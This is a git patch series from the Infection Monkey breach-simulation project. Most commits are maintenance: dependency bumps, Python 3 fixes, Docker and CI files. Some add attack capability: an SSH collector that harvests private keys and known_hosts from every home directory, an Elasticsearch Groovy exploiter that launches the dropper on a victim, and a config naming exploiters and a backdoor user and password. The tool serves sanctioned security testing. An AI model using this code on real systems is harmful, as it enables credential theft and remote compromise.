"version": "0.9.9", @@ -9335,7 +13215,7 @@ "which": { "version": "1.3.0", "resolved": "https://registry.npmjs.org/which/-/which-1.3.0.tgz", - "integrity": "sha1-/wS9/AEO5UfXgL7DjhrBwnd9JTo=", + "integrity": "sha512-xcJpopdamTuY5duC/KnTTNBraPK54YwpenP4lzxU8H91GudWpFv38u0CKjclE1Wi2EH2EDz5LRcHcKbCIzqGyg==", "dev": true, "requires": { "isexe": "2.0.0" diff --git a/monkey_island/cc/ui/package.json b/monkey_island/cc/ui/package.json index 79577f1b6..8c2d5331f 100644 --- a/monkey_island/cc/ui/package.json +++ b/monkey_island/cc/ui/package.json @@ -42,18 +42,18 @@ "karma-chai": "^0.1.0", "karma-coverage": "^1.0.0", "karma-mocha": "^1.0.0", - "karma-mocha-reporter": "^2.2.4", + "karma-mocha-reporter": "^2.2.5", "karma-phantomjs-launcher": "^1.0.0", "karma-sourcemap-loader": "^0.3.5", "karma-webpack": "^1.7.0", "minimist": "^1.2.0", - "mocha": "^3.0.0", + "mocha": "^3.5.3", "null-loader": "^0.1.1", "open": "0.0.5", - "phantomjs-prebuilt": "^2.1.15", - "react-addons-test-utils": "^15.0.0", + "phantomjs-prebuilt": "^2.1.16", + "react-addons-test-utils": "^15.6.2", "react-hot-loader": "^1.2.9", - "rimraf": "^2.4.3", + "rimraf": "^2.6.2", "style-loader": "^0.13.2", "url-loader": "^0.5.9", "webpack": "^1.15.0", @@ -61,28 +61,29 @@ }, "dependencies": { "bootstrap": "^3.3.7", - "core-js": "^2.5.1", + "core-js": "^2.5.5", "downloadjs": "^1.4.7", "fetch": "^1.1.0", "js-file-download": "^0.4.1", "json-loader": "^0.5.7", "jwt-decode": "^2.2.0", - "moment": "^2.21.0", + "moment": "^2.22.1", "normalize.css": "^4.0.0", - "prop-types": "^15.5.10", + "npm": "^5.8.0", + "prop-types": "^15.6.1", "rc-progress": "^2.2.5", - "react": "^15.6.1", - "react-bootstrap": "^0.31.2", - "react-copy-to-clipboard": "^5.0.0", - "react-data-components": "^1.1.1", + "react": "^15.6.2", + "react-bootstrap": "^0.31.5", + "react-copy-to-clipboard": "^5.0.1", + "react-data-components": "^1.2.0", "react-dimensions": "^1.3.0", - "react-dom": "^15.6.1", + "react-dom": "^15.6.2", "react-fa": "^4.2.0", - "react-graph-vis": "^0.1.3", + "react-graph-vis": "^0.1.4", "react-json-tree": "^0.10.9", "react-jsonschema-form": "^0.50.1", "react-modal-dialog": "^4.0.7", - "react-redux": "^5.0.6", + "react-redux": "^5.0.7", "react-router-dom": "^4.2.2", "react-table": "^6.7.4", "react-toggle": "^4.0.1", From cc4ad05be821eb8882a4e2fb23fdea2469c6d322 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Tue, 17 Apr 2018 14:16:46 +0300 Subject: [PATCH 33/92] Bugfix in dropper.py, return value in all fail paths --- infection_monkey/dropper.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/infection_monkey/dropper.py b/infection_monkey/dropper.py index 1e6bf2048..ffc667ce4 100644 --- a/infection_monkey/dropper.py +++ b/infection_monkey/dropper.py @@ -53,7 +53,7 @@ class MonkeyDrops(object): if self._config['destination_path'] is None: LOG.error("No destination path specified") - return + return False # we copy/move only in case path is different file_moved = os.path.samefile(self._config['source_path'], self._config['destination_path']) From 558fa749cabf4a8d90c7aa25464a19df6e393c86 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Tue, 17 Apr 2018 14:20:21 +0300 Subject: [PATCH 34/92] Bugfix in dropper.py, handle gracefully failure in cleanup --- infection_monkey/dropper.py | 37 ++++++++++++++++++++----------------- 1 file changed, 20 insertions(+), 17 deletions(-) diff --git a/infection_monkey/dropper.py b/infection_monkey/dropper.py index ffc667ce4..6e63e5404 100644 --- a/infection_monkey/dropper.py +++ b/infection_monkey/dropper.py @@ -133,22 +133,25 @@ class MonkeyDrops(object): LOG.warn("Seems like monkey died too soon") def cleanup(self): - if (self._config['source_path'].lower() != self._config['destination_path'].lower()) and \ - os.path.exists(self._config['source_path']) and \ - WormConfiguration.dropper_try_move_first: + try: + if (self._config['source_path'].lower() != self._config['destination_path'].lower()) and \ + os.path.exists(self._config['source_path']) and \ + WormConfiguration.dropper_try_move_first: - # try removing the file first - try: - os.remove(self._config['source_path']) - except Exception as exc: - LOG.debug("Error removing source file '%s': %s", self._config['source_path'], exc) + # try removing the file first + try: + os.remove(self._config['source_path']) + except Exception as exc: + LOG.debug("Error removing source file '%s': %s", self._config['source_path'], exc) - # mark the file for removal on next boot - dropper_source_path_ctypes = c_char_p(self._config['source_path']) - if 0 == ctypes.windll.kernel32.MoveFileExA(dropper_source_path_ctypes, None, - MOVEFILE_DELAY_UNTIL_REBOOT): - LOG.debug("Error marking source file '%s' for deletion on next boot (error %d)", - self._config['source_path'], ctypes.windll.kernel32.GetLastError()) - else: - LOG.debug("Dropper source file '%s' is marked for deletion on next boot", - self._config['source_path']) + # mark the file for removal on next boot + dropper_source_path_ctypes = c_char_p(self._config['source_path']) + if 0 == ctypes.windll.kernel32.MoveFileExA(dropper_source_path_ctypes, None, + MOVEFILE_DELAY_UNTIL_REBOOT): + LOG.debug("Error marking source file '%s' for deletion on next boot (error %d)", + self._config['source_path'], ctypes.windll.kernel32.GetLastError()) + else: + LOG.debug("Dropper source file '%s' is marked for deletion on next boot", + self._config['source_path']) + except AttributeError: + LOG.error("Invalid configuration options. Failing") From 4e5334f17775f48dd875bb33754358023924785b Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Tue, 17 Apr 2018 14:23:00 +0300 Subject: [PATCH 35/92] Fix possible bug when handling passwords with unicode characters #2 --- monkey_island/cc/resources/telemetry.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey_island/cc/resources/telemetry.py b/monkey_island/cc/resources/telemetry.py index 33a11fe58..6095b0946 100644 --- a/monkey_island/cc/resources/telemetry.py +++ b/monkey_island/cc/resources/telemetry.py @@ -211,7 +211,7 @@ class Telemetry(flask_restful.Resource): for field in ['password', 'lm_hash', 'ntlm_hash']: credential = attempts[i][field] if len(credential) > 0: - attempts[i][field] = encryptor.enc(credential) + attempts[i][field] = encryptor.enc(credential.encode('utf-8')) TELEM_PROCESS_DICT = \ From 3f0569a29e124e5d6c9123f44a34e34149f9de1a Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Tue, 17 Apr 2018 14:34:26 +0300 Subject: [PATCH 36/92] EG bugfixes - Use dropper instead of monkey - Run disconnected shell - Check for dropper log instead of monkey log --- infection_monkey/exploit/elasticgroovy.py | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/infection_monkey/exploit/elasticgroovy.py b/infection_monkey/exploit/elasticgroovy.py index 182b8d792..989ae5cdf 100644 --- a/infection_monkey/exploit/elasticgroovy.py +++ b/infection_monkey/exploit/elasticgroovy.py @@ -10,7 +10,7 @@ import logging import requests from exploit import HostExploiter -from model import MONKEY_ARG +from model import DROPPER_ARG from network.elasticfinger import ES_SERVICE, ES_PORT from tools import get_target_monkey, HTTPTools, build_monkey_commandline, get_monkey_depth @@ -114,12 +114,14 @@ class ElasticGroovyExploiter(HostExploiter): """ Runs the monkey """ - cmdline = "%s %s" % (dropper_target_path_linux, MONKEY_ARG) - cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1) + ' & ' + + cmdline = "%s %s" % (dropper_target_path_linux, DROPPER_ARG) + cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1, location=dropper_target_path_linux) + cmdline += ' & ' self.run_shell_command(cmdline) LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux, self.host, cmdline) - if not (self.check_if_remote_file_exists_linux(self._config.monkey_log_path_linux)): + if not (self.check_if_remote_file_exists_linux(self._config.dropper_log_path_linux)): LOG.info("Log file does not exist, monkey might not have run") def download_file_in_linux(self, src_path, target_path): From 5027c9b15b5c7a9de0e59e5ad745793613f07f34 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Sun, 29 Apr 2018 20:14:17 +0300 Subject: [PATCH 37/92] Tick under report, while map is still running fixed. Now tick only apears after map generation is finished. --- monkey_island/cc/resources/root.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/monkey_island/cc/resources/root.py b/monkey_island/cc/resources/root.py index 91ac389be..61c788d7e 100644 --- a/monkey_island/cc/resources/root.py +++ b/monkey_island/cc/resources/root.py @@ -57,5 +57,8 @@ class Root(flask_restful.Resource): def get_completed_steps(): is_any_exists = NodeService.is_any_monkey_exists() infection_done = NodeService.is_monkey_finished_running() - report_done = ReportService.is_report_generated() + if not infection_done: + report_done = False + else: + report_done = ReportService.is_report_generated() return dict(run_server=True, run_monkey=is_any_exists, infection_done=infection_done, report_done=report_done) From 0937ebb52021204f4efb0a55da130b5791847e9b Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Tue, 1 May 2018 15:12:30 +0300 Subject: [PATCH 38/92] Remove year in the license --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 5a12b34f8..841eb6ccb 100644 --- a/README.md +++ b/README.md @@ -50,6 +50,6 @@ and follow the instructions at the readme files under [infection_monkey](infecti License ======= -Copyright (c) 2017 Guardicore Ltd +Copyright (c) Guardicore Ltd See the [LICENSE](LICENSE) file for license rights and limitations (GPLv3). From 7503a77ff712d4688271cb4dda55756535df64ac Mon Sep 17 00:00:00 2001 From: Rahul Goswami Date: Thu, 3 May 2018 00:50:02 +0530 Subject: [PATCH 39/92] update __repr__ method in VictimHost class - __repr__ method should return the standard constructor string (pep8) --- infection_monkey/model/host.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/infection_monkey/model/host.py b/infection_monkey/model/host.py index 502f81ca9..29f9cad60 100644 --- a/infection_monkey/model/host.py +++ b/infection_monkey/model/host.py @@ -29,7 +29,7 @@ class VictimHost(object): return self.ip_addr.__cmp__(other.ip_addr) def __repr__(self): - return "" % self.ip_addr + return "VictimHost({0!r})".format(self.ip_addr) def __str__(self): victim = "Victim Host %s: " % self.ip_addr From 58d7f6de50d226d35b5be79d1cd5ff957e072ac2 Mon Sep 17 00:00:00 2001 From: theonlydoo Date: Fri, 4 May 2018 17:23:10 +0200 Subject: [PATCH 40/92] quickwin dockerization --- docker/Dockerfile | 19 +++++++++++++++++++ docker/README.md | 11 +++++++++++ docker/stack.conf | 4 ++++ 3 files changed, 34 insertions(+) create mode 100644 docker/Dockerfile create mode 100644 docker/README.md create mode 100644 docker/stack.conf diff --git a/docker/Dockerfile b/docker/Dockerfile new file mode 100644 index 000000000..6cd945d70 --- /dev/null +++ b/docker/Dockerfile @@ -0,0 +1,19 @@ +FROM debian:jessie-slim + +LABEL MAINTAINER="theonlydoo " + +WORKDIR /app + +ADD https://github.com/guardicore/monkey/releases/download/1.5.2/infection_monkey_1.5.2_deb.tgz . + +RUN tar xvf infection_monkey_1.5.2_deb.tgz \ + && apt-get -yqq update \ + && apt-get -yqq upgrade \ + && apt-get -yqq install python-pip \ + libssl-dev \ + supervisor \ + && dpkg -i *.deb + +COPY stack.conf /etc/supervisor/conf.d/stack.conf + +ENTRYPOINT [ "supervisord", "-n", "-c", "/etc/supervisor/supervisord.conf" ] \ No newline at end of file diff --git a/docker/README.md b/docker/README.md new file mode 100644 index 000000000..768730061 --- /dev/null +++ b/docker/README.md @@ -0,0 +1,11 @@ +# Improvements needed + +* Remove embedded mongodb from .deb, it forbids installation on a `debian:stretch` distro. +* Package monkey for system's python usage. +* Fix package number: (I installed the 1.5.2) +``` +ii gc-monkey-island 1.0 amd64 Guardicore Infection Monkey Island installation package +``` +* Use .deb dependencies for mongodb setup? +* Use docker-compose for stack construction. +* Remove the .sh script from the systemd unit file (`/var/monkey_island/ubuntu/systemd/start_server.sh`) which only does a `cd && localpython run` \ No newline at end of file diff --git a/docker/stack.conf b/docker/stack.conf new file mode 100644 index 000000000..b742c0392 --- /dev/null +++ b/docker/stack.conf @@ -0,0 +1,4 @@ +[program:mongod] +command=/var/monkey_island/bin/mongodb/bin/mongod --quiet --dbpath /var/monkey_island/db +[program:monkey] +command=/var/monkey_island/ubuntu/systemd/start_server.sh From 3423290a37101be91dc0f3e27898fa57c07cf4c3 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Fri, 4 May 2018 18:44:21 +0300 Subject: [PATCH 41/92] Update where we want PRs to go to --- CONTRIBUTING.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 09de83205..2744fac11 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -20,7 +20,7 @@ The following is a *short* list of recommendations. PRs that don't match these c * **Don't** leave your pull request description blank. * **Do** license your code as GPLv3. - +Also, please submit PRs to the develop branch. ## Issues * **Do** write a detailed description of your bug and use a descriptive title. From b6e39280becfe6f9d47dacc51e5c72ebb0151710 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Sat, 5 May 2018 16:23:58 +0300 Subject: [PATCH 42/92] Spacing in __str__ method of VictimHost --- infection_monkey/model/host.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/infection_monkey/model/host.py b/infection_monkey/model/host.py index 29f9cad60..00bf08053 100644 --- a/infection_monkey/model/host.py +++ b/infection_monkey/model/host.py @@ -39,7 +39,7 @@ class VictimHost(object): victim += "] Services - [" for k, v in self.services.items(): victim += "%s-%s " % (k, v) - victim += ']' + victim += '] ' victim += "target monkey: %s" % self.monkey_exe return victim From b2b67d303402621f950c4ab8b2e4addd6e747444 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Sat, 5 May 2018 18:36:42 +0300 Subject: [PATCH 43/92] Update issue templates --- .github/ISSUE_TEMPLATE/Bug_report.md | 23 +++++++++++++++++++++++ 1 file changed, 23 insertions(+) create mode 100644 .github/ISSUE_TEMPLATE/Bug_report.md diff --git a/.github/ISSUE_TEMPLATE/Bug_report.md b/.github/ISSUE_TEMPLATE/Bug_report.md new file mode 100644 index 000000000..36fcff7c3 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/Bug_report.md @@ -0,0 +1,23 @@ +--- +name: Bug report +about: Create a report to help us fix things! + +--- + +**Describe the bug** +A clear and concise description of what the bug is. + +**To Reproduce** +Steps to reproduce the behavior: +1. Configure the Monkey with X settings +2. Run the monkey on specific machine +3. See error + +**Expected behavior** +A description of what you expected to happen. + +**Screenshots** +If applicable, add screenshots to help explain your problem. + +**Machine version(please complete the following information):** + - OS: Windows or Linux From bc76ea977b06e31ca20cccbd184e5634b6623f28 Mon Sep 17 00:00:00 2001 From: cclauss Date: Mon, 7 May 2018 16:24:11 +0200 Subject: [PATCH 44/92] New style exceptions, has_key(), and types --- infection_monkey/config.py | 6 +++--- infection_monkey/exploit/rdpgrinder.py | 2 +- infection_monkey/network/smbfinger.py | 4 ++-- infection_monkey/system_info/mimikatz_collector.py | 4 ++-- infection_monkey/transport/ftp.py | 4 ++-- infection_monkey/transport/http.py | 2 +- infection_monkey/transport/tcp.py | 2 +- monkey_island/cc/resources/monkey_configuration.py | 2 +- monkey_island/cc/resources/telemetry.py | 2 +- 9 files changed, 14 insertions(+), 14 deletions(-) diff --git a/infection_monkey/config.py b/infection_monkey/config.py index 41ecd1d91..7bd651965 100644 --- a/infection_monkey/config.py +++ b/infection_monkey/config.py @@ -40,7 +40,7 @@ def _cast_by_example(value, example): return int(value) elif example_type is float: return float(value) - elif example_type is types.ClassType or example_type is ABCMeta: + elif example_type in (type, ABCMeta): return globals()[value] else: return None @@ -84,10 +84,10 @@ class Configuration(object): if val_type is types.FunctionType or val_type is types.MethodType: continue - if val_type is types.ClassType or val_type is ABCMeta: + if val_type in (type, ABCMeta): value = value.__name__ elif val_type is tuple or val_type is list: - if len(value) != 0 and (type(value[0]) is types.ClassType or type(value[0]) is ABCMeta): + if len(value) != 0 and type(value[0]) in (type, ABCMeta): value = val_type([x.__name__ for x in value]) result[key] = value diff --git a/infection_monkey/exploit/rdpgrinder.py b/infection_monkey/exploit/rdpgrinder.py index d95bd74ba..5d73c8279 100644 --- a/infection_monkey/exploit/rdpgrinder.py +++ b/infection_monkey/exploit/rdpgrinder.py @@ -27,7 +27,7 @@ LOG = getLogger(__name__) def twisted_log_func(*message, **kw): - if kw.has_key('isError') and kw['isError']: + if kw.get('isError'): error_msg = 'Unknown' if 'failure' in kw: error_msg = kw['failure'].getErrorMessage() diff --git a/infection_monkey/network/smbfinger.py b/infection_monkey/network/smbfinger.py index bf8e5bfec..9ccb52422 100644 --- a/infection_monkey/network/smbfinger.py +++ b/infection_monkey/network/smbfinger.py @@ -144,13 +144,13 @@ class SMBFinger(HostFinger): host.os['type'] = 'linux' host.services[SMB_SERVICE]['name'] = service_client - if not host.os.has_key('version'): + if 'version' not in host.os: host.os['version'] = os_version else: host.services[SMB_SERVICE]['os-version'] = os_version return True - except Exception, exc: + except Exception as exc: LOG.debug("Error getting smb fingerprint: %s", exc) return False diff --git a/infection_monkey/system_info/mimikatz_collector.py b/infection_monkey/system_info/mimikatz_collector.py index e69bcd73e..65f326256 100644 --- a/infection_monkey/system_info/mimikatz_collector.py +++ b/infection_monkey/system_info/mimikatz_collector.py @@ -24,7 +24,7 @@ class MimikatzCollector(object): self._collect = collect_proto(("collect", self._dll)) self._get = get_proto(("get", self._dll)) self._isInit = True - except StandardError: + except Exception: LOG.exception("Error initializing mimikatz collector") def get_logon_info(self): @@ -71,7 +71,7 @@ class MimikatzCollector(object): logon_data_dictionary[username]["ntlm_hash"] = ntlm_hash return logon_data_dictionary - except StandardError: + except Exception: LOG.exception("Error getting logon info") return {} diff --git a/infection_monkey/transport/ftp.py b/infection_monkey/transport/ftp.py index 733dee884..3b1c84845 100644 --- a/infection_monkey/transport/ftp.py +++ b/infection_monkey/transport/ftp.py @@ -32,12 +32,12 @@ class FTPServer(threading.Thread): try: func=getattr(self,cmd[:4].strip().upper()) func(cmd) - except Exception,e: + except Exception as e: self.conn.send('500 Sorry.\r\n') break self.conn.close() - self.sock.close() + self.sock.close() def SYST(self,cmd): self.conn.send('215 UNIX Type: L8\r\n') diff --git a/infection_monkey/transport/http.py b/infection_monkey/transport/http.py index ee198a08a..8d07fd155 100644 --- a/infection_monkey/transport/http.py +++ b/infection_monkey/transport/http.py @@ -122,7 +122,7 @@ class HTTPConnectProxyHandler(BaseHTTPServer.BaseHTTPRequestHandler): address = (u.hostname, u.port or 443) try: conn = socket.create_connection(address) - except socket.error, e: + except socket.error as e: LOG.debug("HTTPConnectProxyHandler: Got exception while trying to connect to %s: %s" % (repr(address), e)) self.send_error(504) # 504 Gateway Timeout return diff --git a/infection_monkey/transport/tcp.py b/infection_monkey/transport/tcp.py index ee3a05442..eaa94de1c 100644 --- a/infection_monkey/transport/tcp.py +++ b/infection_monkey/transport/tcp.py @@ -63,7 +63,7 @@ class TcpProxy(TransportProxyBase): try: dest = socket.socket(socket.AF_INET, socket.SOCK_STREAM) dest.connect((self.dest_host, self.dest_port)) - except socket.error, ex: + except socket.error as ex: source.close() dest.close() continue diff --git a/monkey_island/cc/resources/monkey_configuration.py b/monkey_island/cc/resources/monkey_configuration.py index db4d17167..6dab8dddb 100644 --- a/monkey_island/cc/resources/monkey_configuration.py +++ b/monkey_island/cc/resources/monkey_configuration.py @@ -17,7 +17,7 @@ class MonkeyConfiguration(flask_restful.Resource): @jwt_required() def post(self): config_json = json.loads(request.data) - if config_json.has_key('reset'): + if 'reset' in config_json: ConfigService.reset_config() else: ConfigService.update_config(config_json, should_encrypt=True) diff --git a/monkey_island/cc/resources/telemetry.py b/monkey_island/cc/resources/telemetry.py index 6095b0946..cb18ff845 100644 --- a/monkey_island/cc/resources/telemetry.py +++ b/monkey_island/cc/resources/telemetry.py @@ -53,7 +53,7 @@ class Telemetry(flask_restful.Resource): TELEM_PROCESS_DICT[telem_type](telemetry_json) else: print('Got unknown type of telemetry: %s' % telem_type) - except StandardError as ex: + except Exception as ex: print("Exception caught while processing telemetry: %s" % str(ex)) traceback.print_exc() From 0bb0cfbd5d3404a5fef2ee76106a1d256cb5ba3d Mon Sep 17 00:00:00 2001 From: cclauss Date: Mon, 7 May 2018 16:48:49 +0200 Subject: [PATCH 45/92] long was removed in Python 3 --- infection_monkey/exploit/tools.py | 2 +- infection_monkey/network/info.py | 9 +++++++-- 2 files changed, 8 insertions(+), 3 deletions(-) diff --git a/infection_monkey/exploit/tools.py b/infection_monkey/exploit/tools.py index 60e3950a6..dbbd8070a 100644 --- a/infection_monkey/exploit/tools.py +++ b/infection_monkey/exploit/tools.py @@ -405,7 +405,7 @@ def get_interface_to_target(dst): for d, m, gw, i, a in routes: aa = atol(a) if aa == dst: - pathes.append((0xffffffffL, ("lo", a, "0.0.0.0"))) + pathes.append((0xffffffff, ("lo", a, "0.0.0.0"))) if (dst & m) == (d & m): pathes.append((m, (i, a, gw))) if not pathes: diff --git a/infection_monkey/network/info.py b/infection_monkey/network/info.py index 179befd4f..a55dbcdc5 100644 --- a/infection_monkey/network/info.py +++ b/infection_monkey/network/info.py @@ -10,6 +10,11 @@ from subprocess import check_output from random import randint from common.network.network_range import CidrRange +try: + long # Python 2 +except NameError: + long = int # Python 3 + def get_host_subnets(): """ @@ -93,8 +98,8 @@ else: ifaddr = socket.inet_ntoa(ifreq[20:24]) else: continue - routes.append((socket.htonl(long(dst, 16)) & 0xffffffffL, - socket.htonl(long(msk, 16)) & 0xffffffffL, + routes.append((socket.htonl(long(dst, 16)) & 0xffffffff, + socket.htonl(long(msk, 16)) & 0xffffffff, socket.inet_ntoa(struct.pack("I", long(gw, 16))), iff, ifaddr)) From 9cd839abf6c4e6347cf71ee0133e311d05fb5738 Mon Sep 17 00:00:00 2001 From: cclauss Date: Mon, 7 May 2018 17:19:28 +0200 Subject: [PATCH 46/92] Travis CI for automated testing of all pull requests Travis Continuous Integration is free for all open source projects like this one. This config file would have Travis CI run [flake8](http://flake8.pycqa.org) tests to find Python syntax errors and undefined names in all pull requests _before_ they are reviewed. To turn Travis CI on, visit https://travis-ci.com/guardicore --- .travis.yml | 27 +++++++++++++++++++++++++++ 1 file changed, 27 insertions(+) create mode 100644 .travis.yml diff --git a/.travis.yml b/.travis.yml new file mode 100644 index 000000000..8b780e2fc --- /dev/null +++ b/.travis.yml @@ -0,0 +1,27 @@ +group: travis_latest +language: python +cache: pip +python: + - 2.7 + - 3.6 + #- nightly + #- pypy + #- pypy3 +matrix: + allow_failures: + - python: nightly + - python: pypy + - python: pypy3 +install: + #- pip install -r requirements.txt + - pip install flake8 # pytest # add another testing frameworks later +before_script: + # stop the build if there are Python syntax errors or undefined names + - flake8 . --count --select=E901,E999,F821,F822,F823 --show-source --statistics + # exit-zero treats all errors as warnings. The GitHub editor is 127 chars wide + - flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics +script: + - true # pytest --capture=sys # add other tests here +notifications: + on_success: change + on_failure: change # `always` will be the setting once code changes slow down From 023c7cb0937c187e05dae09b21519bfc11ee8dba Mon Sep 17 00:00:00 2001 From: cclauss Date: Tue, 8 May 2018 12:23:30 +0200 Subject: [PATCH 47/92] ftp.py: Undefined name local_ip --> self.local_ip __local_ip__ is an __undefined name__ in this context (could raise NameError at runtime) so this PR recommends the use of __self.local_ip__ instead. flake8 testing of https://github.com/guardicore/monkey on Python 3.6.3 $ __flake8 . --count --select=E901,E999,F821,F822,F823 --show-source --statistics__ ``` ./infection_monkey/transport/ftp.py:86:29: F821 undefined name 'local_ip' self.servsock.bind((local_ip,0)) ^ ``` --- infection_monkey/transport/ftp.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/infection_monkey/transport/ftp.py b/infection_monkey/transport/ftp.py index 3b1c84845..c90f8c484 100644 --- a/infection_monkey/transport/ftp.py +++ b/infection_monkey/transport/ftp.py @@ -83,7 +83,7 @@ class FTPServer(threading.Thread): def PASV(self,cmd): self.pasv_mode = True self.servsock = socket.socket(socket.AF_INET,socket.SOCK_STREAM) - self.servsock.bind((local_ip,0)) + self.servsock.bind((self.local_ip,0)) self.servsock.listen(1) ip, port = self.servsock.getsockname() self.conn.send('227 Entering Passive Mode (%s,%u,%u).\r\n' % From cdb4d459bbf4674801b865f4b4c06f89c6a10525 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Wed, 16 May 2018 15:19:59 +0300 Subject: [PATCH 48/92] SSH key-stealing implemented --- .../system_info/SSH_info_collector.py | 68 +++++++++++++++++++ .../system_info/linux_info_collector.py | 3 + 2 files changed, 71 insertions(+) create mode 100644 infection_monkey/system_info/SSH_info_collector.py diff --git a/infection_monkey/system_info/SSH_info_collector.py b/infection_monkey/system_info/SSH_info_collector.py new file mode 100644 index 000000000..d4bbddb15 --- /dev/null +++ b/infection_monkey/system_info/SSH_info_collector.py @@ -0,0 +1,68 @@ +import logging +import pwd +import sys +import os +import glob + +__author__ = 'VakarisZ' + +LOG = logging.getLogger(__name__) + + +class SSHCollector(object): + """ + SSH keys and known hosts collection module + """ + + default_dirs = ['/.ssh', '/'] + + @staticmethod + def get_info(): + home_dirs = SSHCollector.get_home_dirs() + ssh_info = SSHCollector.get_ssh_files(home_dirs) + LOG.info("Scanned for ssh keys") + return ssh_info + + @staticmethod + def get_home_dirs(): + home_dirs = [{'name': 'root', 'home_dir': '/root', 'public_key': None, + 'private_key': None, 'known_hosts': None}] + for usr in pwd.getpwall(): + if usr[5].startswith('/home'): + ssh_data = {'name': usr[0], 'home_dir': usr[5], 'public_key': None, + 'private_key': None, 'known_hosts': None} + home_dirs.append(ssh_data) + return home_dirs + + @staticmethod + def get_ssh_files(usr_info): + for info in usr_info: + path = info['home_dir'] + for directory in SSHCollector.default_dirs: + if os.path.isdir(path + directory): + try: + os.chdir(path + directory) + # searching for public key + if glob.glob('*.pub'): + public = '/' + (glob.glob('*.pub')[0]) + try: + with open(path + directory + public) as f: + info['public_key'] = f.read() + private = public.split('.')[0] + except: + pass + if os.path.exists(path + directory + private): + try: + with open(path + directory + private) as f: + info['private_key'] = f.read() + except: + pass + if os.path.exists(path + directory + '/known_hosts'): + try: + with open(path + directory + '/known_hosts') as f: + info['known_hosts'] = f.read() + except: + pass + except: + pass + return usr_info diff --git a/infection_monkey/system_info/linux_info_collector.py b/infection_monkey/system_info/linux_info_collector.py index ccdd7cb30..556be812a 100644 --- a/infection_monkey/system_info/linux_info_collector.py +++ b/infection_monkey/system_info/linux_info_collector.py @@ -1,6 +1,7 @@ import logging from . import InfoCollector +from SSH_info_collector import SSHCollector __author__ = 'uri' @@ -26,4 +27,6 @@ class LinuxInfoCollector(InfoCollector): self.get_process_list() self.get_network_info() self.get_azure_info() + self.info['ssh_info'].update(SSHCollector.get_info()) return self.info + From 0be721cf010f270cf1e6ff2c8760a22f2afca0bf Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Thu, 17 May 2018 14:11:07 +0300 Subject: [PATCH 49/92] Json file was missing two commas --- infection_monkey/example.conf | 178 +++++++++++++++++----------------- 1 file changed, 89 insertions(+), 89 deletions(-) diff --git a/infection_monkey/example.conf b/infection_monkey/example.conf index 6e8638742..b3d2b6d57 100644 --- a/infection_monkey/example.conf +++ b/infection_monkey/example.conf @@ -1,93 +1,93 @@ { - "command_servers": [ - "41.50.73.31:5000" - ], - "internet_services": [ - "monkey.guardicore.com", - "www.google.com" - ], - "keep_tunnel_open_time": 60, - "subnet_scan_list": [ - "" - ], - "blocked_ips": [""], - "current_server": "41.50.73.31:5000", - "alive": true, - "collect_system_info": true, - "extract_azure_creds": true, - "depth": 2, + "command_servers": [ + "41.50.73.31:5000" + ], + "internet_services": [ + "monkey.guardicore.com", + "www.google.com" + ], + "keep_tunnel_open_time": 60, + "subnet_scan_list": [ + "" + ], + "blocked_ips": [""], + "current_server": "41.50.73.31:5000", + "alive": true, + "collect_system_info": true, + "extract_azure_creds": true, + "depth": 2, - "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll", - "dropper_date_reference_path_linux": "/bin/sh", - "dropper_log_path_windows": "%temp%\\~df1562.tmp", - "dropper_log_path_linux": "/tmp/user-1562", - "dropper_set_date": true, - "dropper_target_path_win_32": "C:\\Windows\\monkey32.exe", - "dropper_target_path_win_64": "C:\\Windows\\monkey64.exe", - "dropper_target_path_linux": "/tmp/monkey", + "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll", + "dropper_date_reference_path_linux": "/bin/sh", + "dropper_log_path_windows": "%temp%\\~df1562.tmp", + "dropper_log_path_linux": "/tmp/user-1562", + "dropper_set_date": true, + "dropper_target_path_win_32": "C:\\Windows\\monkey32.exe", + "dropper_target_path_win_64": "C:\\Windows\\monkey64.exe", + "dropper_target_path_linux": "/tmp/monkey", - "kill_file_path_linux": "/var/run/monkey.not", - "kill_file_path_windows": "%windir%\\monkey.not", - "dropper_try_move_first": true, - "exploiter_classes": [ - "SSHExploiter", - "SmbExploiter", - "WmiExploiter", - "ShellShockExploiter", - "ElasticGroovyExploiter", - "SambaCryExploiter", - ], - "finger_classes": [ - "SSHFinger", - "PingScanner", - "HTTPFinger", - "SMBFinger", - "MySQLFinger" - "ElasticFinger", - ], - "max_iterations": 3, - "monkey_log_path_windows": "%temp%\\~df1563.tmp", - "monkey_log_path_linux": "/tmp/user-1563", - "send_log_to_server": true, - "ms08_067_exploit_attempts": 5, - "ms08_067_remote_user_add": "Monkey_IUSER_SUPPORT", - "ms08_067_remote_user_pass": "Password1!", - "ping_scan_timeout": 10000, - "rdp_use_vbs_download": true, - "smb_download_timeout": 300, - "smb_service_name": "InfectionMonkey", - "retry_failed_explotation": true, - "scanner_class": 